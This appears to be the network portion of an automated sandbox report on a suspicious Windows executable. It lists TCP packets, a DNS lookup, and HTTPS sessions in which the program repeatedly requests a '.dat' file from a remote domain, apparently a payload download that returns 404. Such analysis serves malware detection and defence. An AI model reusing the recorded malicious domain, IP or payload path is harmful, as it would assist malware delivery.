Jan 10, 2025 22:40:00.427417994 CET	50188	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:00.427747965 CET	50188	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:00.427759886 CET	443	50188	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:01.033968925 CET	443	50188	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:01.036242962 CET	50188	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:01.036273003 CET	443	50188	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:01.308943033 CET	443	50188	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:01.309009075 CET	443	50188	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:01.309067965 CET	50188	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:01.309616089 CET	50188	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:01.310271978 CET	50189	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:01.310328960 CET	443	50189	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:01.310400963 CET	50189	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:01.310655117 CET	50189	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:01.310668945 CET	443	50189	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:01.920376062 CET	443	50189	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:01.924184084 CET	50189	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:01.924217939 CET	443	50189	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:02.196980000 CET	443	50189	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:02.197045088 CET	443	50189	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:02.197164059 CET	50189	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:02.197630882 CET	50189	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:02.198180914 CET	50190	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:02.198227882 CET	443	50190	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:02.198376894 CET	50190	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:02.198575974 CET	50190	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:02.198584080 CET	443	50190	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:02.822690964 CET	443	50190	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:02.824352980 CET	50190	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:02.824390888 CET	443	50190	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.099828005 CET	443	50190	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.099904060 CET	443	50190	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.099961996 CET	50190	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.101614952 CET	50190	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.102509022 CET	50191	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.102575064 CET	443	50191	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.102652073 CET	50191	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.103029013 CET	50191	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.103045940 CET	443	50191	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.715209961 CET	443	50191	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.718027115 CET	50191	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.718063116 CET	443	50191	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.992656946 CET	443	50191	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.992726088 CET	443	50191	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.993012905 CET	50191	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.993300915 CET	50191	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.994039059 CET	50192	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.994146109 CET	443	50192	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:03.994259119 CET	50192	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.994491100 CET	50192	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:03.994527102 CET	443	50192	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:04.604743958 CET	443	50192	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:04.606487989 CET	50192	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:04.606556892 CET	443	50192	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:04.881745100 CET	443	50192	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:04.881822109 CET	443	50192	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:04.881911993 CET	50192	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:04.882407904 CET	50192	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:04.882934093 CET	50193	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:04.882997036 CET	443	50193	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:04.883080959 CET	50193	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:04.883290052 CET	50193	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:04.883322954 CET	443	50193	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:05.496524096 CET	443	50193	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:05.498253107 CET	50193	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:05.498295069 CET	443	50193	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:05.768465996 CET	443	50193	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:05.768537045 CET	443	50193	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:05.768594980 CET	50193	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:05.769149065 CET	50193	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:05.769900084 CET	50194	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:05.770015955 CET	443	50194	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:05.770123959 CET	50194	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:05.770375013 CET	50194	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:05.770411968 CET	443	50194	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:06.384943008 CET	443	50194	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:06.422804117 CET	50194	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:06.422847986 CET	443	50194	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:06.661577940 CET	443	50194	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:06.661673069 CET	443	50194	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:06.661736965 CET	50194	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:06.662201881 CET	50194	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:06.663002968 CET	50195	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:06.663053036 CET	443	50195	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:06.663105965 CET	50195	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:06.663394928 CET	50195	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:06.663413048 CET	443	50195	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:07.282725096 CET	443	50195	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:07.284493923 CET	50195	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:07.284534931 CET	443	50195	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:07.560406923 CET	443	50195	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:07.560482979 CET	443	50195	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:07.560534000 CET	50195	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:07.561007023 CET	50195	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:07.561650991 CET	50196	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:07.561759949 CET	443	50196	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:07.561856031 CET	50196	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:07.562067032 CET	50196	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:07.562104940 CET	443	50196	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:08.152436018 CET	443	50196	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:08.154064894 CET	50196	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:08.154114962 CET	443	50196	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:08.424420118 CET	443	50196	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:08.424479008 CET	443	50196	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:08.424540043 CET	50196	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:08.424968004 CET	50196	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:08.425448895 CET	50197	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:08.425487041 CET	443	50197	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:08.425561905 CET	50197	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:08.425770044 CET	50197	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:08.425779104 CET	443	50197	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:09.026869059 CET	443	50197	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:09.036529064 CET	50197	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:09.036571026 CET	443	50197	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:09.300661087 CET	443	50197	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:09.300731897 CET	443	50197	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:09.300791025 CET	50197	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:09.302570105 CET	50197	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:09.302808046 CET	50198	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:09.302850962 CET	443	50198	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:09.302906990 CET	50198	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:09.304179907 CET	50198	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:09.304198027 CET	443	50198	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:09.901814938 CET	443	50198	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:09.903297901 CET	50198	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:09.903330088 CET	443	50198	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:10.173723936 CET	443	50198	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:10.173790932 CET	443	50198	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:10.173878908 CET	50198	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:10.181844950 CET	50198	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:10.182377100 CET	50199	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:10.182434082 CET	443	50199	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:10.182523012 CET	50199	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:10.182847977 CET	50199	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:10.182861090 CET	443	50199	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:10.782603025 CET	443	50199	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:10.784476995 CET	50199	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:10.784502029 CET	443	50199	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.055303097 CET	443	50199	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.055396080 CET	443	50199	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.055450916 CET	50199	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.056158066 CET	50199	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.056796074 CET	50200	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.056835890 CET	443	50200	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.056911945 CET	50200	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.057149887 CET	50200	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.057164907 CET	443	50200	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.673468113 CET	443	50200	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.714682102 CET	50200	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.714709044 CET	443	50200	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.950949907 CET	443	50200	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.951020002 CET	443	50200	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.951143980 CET	50200	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.956501961 CET	50200	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.957077026 CET	50201	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.957118034 CET	443	50201	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:11.957195997 CET	50201	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.957456112 CET	50201	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:11.957469940 CET	443	50201	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:12.561897039 CET	443	50201	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:12.563503981 CET	50201	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:12.563524961 CET	443	50201	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:12.846580029 CET	443	50201	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:12.846654892 CET	443	50201	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:12.846920967 CET	50201	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:12.847244978 CET	50201	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:12.847778082 CET	50202	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:12.847832918 CET	443	50202	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:12.847908974 CET	50202	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:12.848110914 CET	50202	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:12.848128080 CET	443	50202	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:13.460930109 CET	443	50202	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:13.463901043 CET	50202	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:13.463933945 CET	443	50202	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:13.738096952 CET	443	50202	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:13.738267899 CET	443	50202	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:13.738353014 CET	50202	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:13.738734007 CET	50202	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:13.739229918 CET	50203	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:13.739276886 CET	443	50203	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:13.739356995 CET	50203	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:13.739543915 CET	50203	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:13.739558935 CET	443	50203	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:14.342542887 CET	443	50203	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:14.344548941 CET	50203	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:14.344580889 CET	443	50203	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:14.615361929 CET	443	50203	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:14.615433931 CET	443	50203	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:14.615480900 CET	50203	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:14.618947983 CET	50203	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:14.623460054 CET	50204	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:14.623564959 CET	443	50204	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:14.623658895 CET	50204	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:14.624366999 CET	50204	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:14.624403954 CET	443	50204	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:15.216305971 CET	443	50204	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:15.218174934 CET	50204	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:15.218202114 CET	443	50204	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:15.494482994 CET	443	50204	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:15.494561911 CET	443	50204	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:15.494637012 CET	50204	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:15.495214939 CET	50204	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:15.496239901 CET	50205	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:15.496283054 CET	443	50205	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:15.496582031 CET	50205	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:15.497001886 CET	50205	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:15.497013092 CET	443	50205	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:16.103923082 CET	443	50205	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:16.106127024 CET	50205	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:16.106158972 CET	443	50205	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:16.379143000 CET	443	50205	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:16.379206896 CET	443	50205	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:16.379257917 CET	50205	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:16.379805088 CET	50205	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:16.380449057 CET	50206	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:16.380553007 CET	443	50206	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:16.380645037 CET	50206	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:16.380970955 CET	50206	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:16.381002903 CET	443	50206	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:16.999088049 CET	443	50206	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:17.001117945 CET	50206	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:17.001142979 CET	443	50206	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:17.271922112 CET	443	50206	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:17.272068024 CET	443	50206	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:17.272150040 CET	50206	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:17.283262968 CET	50206	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:17.284424067 CET	50207	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:17.284472942 CET	443	50207	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:17.284555912 CET	50207	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:17.284833908 CET	50207	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:17.284851074 CET	443	50207	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:17.890804052 CET	443	50207	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:17.895169020 CET	50207	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:17.895207882 CET	443	50207	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:18.163764954 CET	443	50207	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:18.163830996 CET	443	50207	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:18.163891077 CET	50207	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:18.164298058 CET	50207	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:18.164804935 CET	50208	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:18.164871931 CET	443	50208	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:18.164948940 CET	50208	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:18.165138006 CET	50208	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:18.165169001 CET	443	50208	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:18.762542009 CET	443	50208	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:18.764682055 CET	50208	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:18.764714956 CET	443	50208	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:19.035309076 CET	443	50208	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:19.035382986 CET	443	50208	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:19.035924911 CET	50208	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:19.036252022 CET	50208	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:19.036945105 CET	50209	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:19.037002087 CET	443	50209	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:19.037172079 CET	50209	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:19.037486076 CET	50209	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:19.037501097 CET	443	50209	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:19.720730066 CET	443	50209	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:19.722512960 CET	50209	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:19.722552061 CET	443	50209	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:19.998554945 CET	443	50209	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:19.998711109 CET	443	50209	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:19.998800993 CET	50209	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:19.999356031 CET	50209	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.000000000 CET	50210	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.000055075 CET	443	50210	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:20.000138044 CET	50210	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.000452042 CET	50210	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.000463009 CET	443	50210	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:20.621567011 CET	443	50210	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:20.658828020 CET	50210	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.658845901 CET	443	50210	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:20.897533894 CET	443	50210	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:20.897591114 CET	443	50210	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:20.897667885 CET	50210	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.898205042 CET	50210	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.898737907 CET	50211	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.898782969 CET	443	50211	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:20.898860931 CET	50211	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.899089098 CET	50211	443	192.168.2.4	185.181.116.217
Jan 10, 2025 22:40:20.899104118 CET	443	50211	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:21.498903036 CET	443	50211	185.181.116.217	192.168.2.4
Jan 10, 2025 22:40:21.553517103 CET	50211	443	192.168.2.4	185.181.116.217

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:37:15.123023033 CET	63914	53	192.168.2.4	1.1.1.1
Jan 10, 2025 22:37:15.161288023 CET	53	63914	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:37:15.123023033 CET	192.168.2.4	1.1.1.1	0x34ca	Standard query (0)	balkancelikdovme.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:37:15.161288023 CET	1.1.1.1	192.168.2.4	0x34ca	No error (0)	balkancelikdovme.com		185.181.116.217	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

balkancelikdovme.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:15 UTC	90	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com Connection: Keep-Alive
2025-01-10 21:37:16 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:16 GMT vary: User-Agent
2025-01-10 21:37:16 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:16 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:17 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:16 GMT vary: User-Agent
2025-01-10 21:37:17 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

